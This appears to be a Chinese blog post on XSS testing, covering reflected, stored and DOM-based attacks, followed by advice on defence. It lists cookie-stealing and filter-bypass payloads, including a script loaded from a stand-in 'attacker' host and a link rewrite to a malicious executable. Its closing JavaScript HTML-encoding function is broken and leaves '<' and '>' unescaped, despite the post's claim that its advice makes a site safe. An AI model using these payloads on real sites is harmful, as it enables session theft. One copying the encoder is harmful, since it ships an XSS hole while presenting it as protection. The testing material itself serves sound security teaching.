javascript

XSS 跨站脚本攻击

2018-09-05  本文已影响0人  little_short
****    XSS过滤绕过
请参考 https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet。
        当网站应用清理输入、网站应用防火墙或浏览器内置的机制阻止恶意输入时,反射型xss就会被阻拦。但是测试者必须假定浏览器不会
阻拦这类攻击,比如版本陈旧、内置安全功能被禁用等,并测试所有可能的漏洞。类似的,网站防火墙不能保证识别新奇的、未知的攻击。
攻击者能构造防火墙无法识别的攻击字符串。
        因此,防御xss攻击主要依赖网站应用清理不可信任的用户输入。有几种清理办法,比如返回错误、过滤或转义关键字。同时这些预防手段
也造就了另外一个弱点:黑名单不可能囊括所有可能的攻击字符串、白名单可能过渡授权,这时清理就会失败,导致某类输入被不正确的信任
并未被清理。

****    攻击测试的例子
    -   http://example.com/index.php?user=<script>alert(123)</script>
    -   http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
        AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
    -   标签属性值
        <input type="text" name="state" value="INPUT_FROM_USER">
        " onfocus="alert(document.cookie)
    -   不同的语法或编码
        "><ScRiPt>alert(document.cookie)</ScRiPt>
            "%3cscript%3ealert(document.cookie)%3c/script%3e
    -   非递归性过滤
        <scr<script>ipt>alert(document.cookie)</script>
    -   绕过正则过滤
        模式串 $re = "/<script[^>]+src/i";
        添加额外的属性,绕过  http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>
    -   HTTP parameter pollution
        https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
        http参数污染,查询字符串或表单提交的参数中某个同名参数出现了多次,apache等web服务器解析协议参数时的方式各异,
        网站应用程序的各个组件所使用的参数值不一致。


**  存储型XSS测试
*** 概述
        存储型XSS是最危险的跨站脚本攻击。网站应用程序允许用户存储数据,这类网站就潜在的暴露在这类攻击面前。
当网站应用从用户那里搜集输入的数据,然后存储起来以备后用,但这些输入没有经过正确的过滤,结果恶意数据被做为网站
页面的一部分得以呈现,并运行在用户浏览器中且拥有网站应用程序所属用户的权限。
        这种漏洞可以被用来实施基于浏览器的攻击:
            -   劫持用户浏览器
            -   捕获用户所浏览的网站敏感信息
            -   对内网主机进行端口扫描
            -   基于浏览器利用的定向投递
        存储型xss不需要利用恶意链接,用户访问某个加载了之前存储的xss代码的页面时就会触发。攻击场景一般有下面几个阶段:
            -   攻击者存储恶意代码到由漏洞的页面
            -   用户通过应用程序的身份认证
            -   用户访问漏洞页面
            -   恶意代码被用户的浏览器执行
        这类攻击可以结合浏览器利用框架比如beef、xss prox、backframe。这些框架允许复杂的脚本利用开发。
        当访问漏洞页面的用户有比较高的权限时,这类攻击特别危险。比如当管理员访问漏洞页面时,这类攻击就自动被浏览器执行。
这就可能暴露敏感信息比如会话令牌。


*** 如何测试
****    黑盒测试
        识别存储型漏洞的过程和之前测试反射型漏洞类似。
 
*****   输入表单
    第一步是找出哪些地方的用户输入会被存储到后端并会被渲染显示在前端。典型的存储用户输入的地方有:
        -   用户|配置,网站应用允许用户修改个人配置详细信息,比如姓名、昵称、头像、地址等;
        -   购物篮,
        -   文件管理器,应用程序允许文件上传
        -   应用程序偏好设置
        -   论坛|消息面板,允许用户之间互相发送消息
        -   博客,允许用户留言评论
        -   日志,如果网站应用将某些用户的输入存进日志

*****   分析HTML代码
    用户输入被网站应用存储后,一般会在显示时当做html标签的属性值。这一步中,最根本的是去理解输入部分被渲染显示时,
在页面上下文中是怎么被安放的。所有可能被管理员看到的输入部分都需要被测试。
比如,后台用户管理中某个用户的详细信息,有邮件:
    <input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com" />
这时,可以在<input>标签后面注入恶意代码:
    <input class="inputbox" type="text" name="email" size="40" value="aaa@aa.com"> MALICIOUS CODE <!-- />

*****   试验是否可以注入
    这就涉及输入验证、后端的过滤规则。比如注入:
        aaa@aa.com"><script>alert(document.cookie)</script>
        aa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E
    为了保证注入的数据被提交,通常需要暂时禁用浏览器的js代码执行、或在本地代理的http编辑器中修改请求的原始数据。
    但是提交后,可能被网站应用程序过滤,比如script被替换成了空格或者空串,这就是一个潜在的过滤信号,当然有很多规避
    过滤的技术。
 
*****   利用存储的注入代码
    存储的恶意代码可以被高级js利用框架利用,比如beef、xss-proxy、backframe。
    一个典型的beef利用场景涉及:
        -   注入一段js钩子代码,可以与攻击者的浏览器利用框架通信
        -   等待网站用户访问漏洞页面
        -   通过beef控制台控制网站用户的浏览器
    beef可以访问用户的cookies、屏幕截图、剪贴板、以及发起更复杂的xss攻击。如果这个漏洞页面会被拥有不同权限的用户访问,
    那么这个攻击是相当有效的。

*****   文件上传
    如果网站应用允许文件上传,需要检测下是否可以上传html内容。如果html或txt文件被允许,那么xss负载就可以被注入。
渗透测试人员应该验证是否这个上传点允许设置任意的MIME类型。这个设计缺陷允许浏览器的MIME误处理攻击。比如,看起来无害的
JPG和GIF文件包含xss负载,可能在被浏览器载入的时候得到执行。这个是可能的,当本应设置MIME为image/gif时却设置为text/html。
这种情况下,文件被客户端浏览器创建为HTML。
    伪造POST请求:
        Content-Disposition: form-data; name="uploadfile1"; filename="C:\Documents and Settings\test\Desktop\test.gif"
        Content-Type: text/html

        <script>alert(document.cookie)</script>
 
**  DOM型XSS测试
*** 概述
    DOM型跨站脚本事实上是浏览器端的动态内容所引起的xss bug。典型的,比如js,获取用户输入并用它做了一些不安全的事情导致注入代码
被执行。本文只是讨论 js bug 所引起的xss漏洞。
    DOM,全称为Document Object Model,是一种结构化的格式,被用来表达浏览器中的文档。DOM允许动态脚本,比如js,来引用文档中的
组件,比如表单字段、或会话令牌。DOM也被浏览器来实现安全策略,比如同源策略限制跨域DOM操作。当动态内容,比如js函数被一个构造的
请求修改,dom元素可以被攻击者控制,从而形成xss漏洞。
    很少有这方面的论文发表,因此它的含义和正规测试方法几乎没有标准的定义。
 
*** 如何测试
    不是所有的xss bug都需要攻击者去控制从服务器返回的动态页面,但是泛滥的愚蠢的js编码会导致同样的结果。
    与其他类型的xss漏洞(服务器未清理用户提交的参数,回传给用户浏览器端并得到执行)相比,dom-xss 可以控制代码的执行流程。
    大多数情况下,dom-xss可以在服务端不知情的情况下执行。比如:
        <script>
            document.write("Site is at: " + document.location.href + ".");
        </script>
攻击者追加#<script>alert('xss')</script>到页面的url后面,当执行时会弹窗。这个例子中,追加的代码不会被发送到服务端,因为#
后面的字符串根本没有被浏览器当做查询字符串的一部分,而是作为一个锚标记,因而无需和服务器取得联系。
    dom-xss的攻击后果和其他更知名的xss攻击一样广泛,cookies获取、更进一步的恶意脚本注入,所以应该被划分到同样的严重等级。
 
****    黑盒测试
    dom-xss的黑盒测试是不必要的,因为前端的源码总是可见的,浏览器需要从服务端那获取并执行。
 
****    灰盒测试
    js应用程序和其他的应用程序有显著的区别,因为他们是由服务端动态产生的,为了理解什么代码正在被执行,测试者需要爬行站点来
判定正在被执行的脚本和哪些地方是接收用户输入的。许多站点依赖大量的库函数,伸展开后有成百上千行代码并且不是内部开发的。这种
情况下,自顶向下的测试常常是唯一可行的选择,因为许多底层的函数从没用到过,从中分析哪些是弱点耗费太多时间。对于自顶向下测试,
是否能识别哪些地方接收用户输入同样至关重要。
    用户输入来源有两种形式:
        -   服务端动态写入,不允许直接的xss
        -   客户端脚本对象中获取的变量
    下面是服务端插入数据到js脚本中的两个例子:
        var data = "<escaped data from the server>";
        var result = someFunction("<escaped data from the server>");
    下面是从客户端js对象中获取输入的两个例子:
        var data = window.location;
        var result = someFunction(window.referer);
    对于js代码来说,两种获取输入的方式基本没有差异,重要的是当从服务端获取输入时,服务端能对数据应用任何的排列组合,
然而js对象中获取的输入却很好理解。所以,如果上例中的js函数是弱点的话,前例中的漏洞利用依赖服务端的过滤,后例中的
利用依赖于浏览器对window.referer对象的编码。 参考 https://code.google.com/p/domxsswiki/wiki/LocationSources
    另外,js脚本也常常会在script标签外部执行,过去许多的攻击向量都导致了xss攻击已经证实了这一点。所以,在爬行站点时,
留意诸如‘事件处理器’、‘带有expression属性的css语句块’等这些地方的代码是很重要的。
    自动化测试在识别和验证dom-xss漏洞时是很弱的,因为他仅仅是发送特定的负载并尝试审查服务器响应的页面。这个可能在一些
简单的例子中工作得比较好,比如那些参数被反射回给用户的情况:
        <script>
            var pos=document.URL.indexOf("message=")+5;
            document.write(document.URL.substring(pos,document.URL.length));
        </script>
但是下面不自然的例子无法被检测到:
        <script>
            var navAgt = navigator.userAgent;
  
            if (navAgt.indexOf("MSIE")!=-1) {
                document.write("You are using IE as a browser and visiting site: " + document.location.href + ".");
            }
            else
            {
                document.write("You are using an unknown browser.");
            }
        </script>
    基于这样的原因,自动化测试通常无法检测dom-xss漏洞,除非测试工具能对客户端脚本执行额外的分析。
    人工测试应该进行,检查某些代码区域,那些区域中的参数对攻击者而言是有用的。比如,代码被动态写到页面、dom树被修改、
甚至脚本被直接执行。参考 http://www.webappsec.org/projects/articles/071105.shtml

抵御XSS

thinkphp框架中有表单提交数据的过滤,默认采用html实体编码进行转义,就是所谓的I函数。

浏览器解释器词法分析遇到转义的字符,就认为他是不可执行的,然后接着去反转义,接着当做数据去显示,没有当做js代码去执行。再解释一次就可以得到执行。
比如:在firebug中用元素审查,随便加个空格

post表单提交的汉字的传输编码由<meta charset>指定,
>>> print '%r' % u'你'.encode('utf8')
'\xe4\xbd\xa0'
传输中为%e4%bd%a0

不过地址栏附加的url参数,汉字默认为gbk编码,这里为%c4%e3,比如你在百度搜索框输入"你被入侵了",然后查看地址栏url参数。
>>> print '%r' % u'你'.encode('gbk')
'\xc4\xe3'

抵御XSS攻击,只需做到两点:
1、所有前端的页面渲染,尽量使用ajax异步进行,从后台获取要显示的数据。
2、前端提交过来的数据,在后台入口处统统对HTML中的关键字进行html编码转义。
做到上面方可基本无忧。

  /* 1.用正则表达式实现html转码 */
  htmlEncodeByRegExp(str) {
    let s = '';
    if (str.length === 0) return '';
    s = s.replace(/</g, '&lt;');
    s = s.replace(/>/g, '&gt;');
    s = str.replace(/&/g, '&amp;');
    s = s.replace(/ /g, '&nbsp;');
    s = s.replace(/\'/g, '&#39;'); //eslint-disable-line
    s = s.replace(/\"/g, '&quot;'); //eslint-disable-line
    return s;
  },
  /* 2.用正则表达式实现html解码 */
  htmlDecodeByRegExp(str) {
    let s = '';
    if (str.length === 0) return '';
    s = s.replace(/&lt;/g, '<');
    s = s.replace(/&gt;/g, '>');
    s = str.replace(/&amp;/g, '&');
    s = s.replace(/&nbsp;/g, ' ');
    s = s.replace(/&#39;/g, "\'"); //eslint-disable-line
    s = s.replace(/&quot;/g, '"'); //eslint-disable-line
    return s;
  },

可使用 he 组件 来进行转码
上一篇 下一篇

猜你喜欢

热点阅读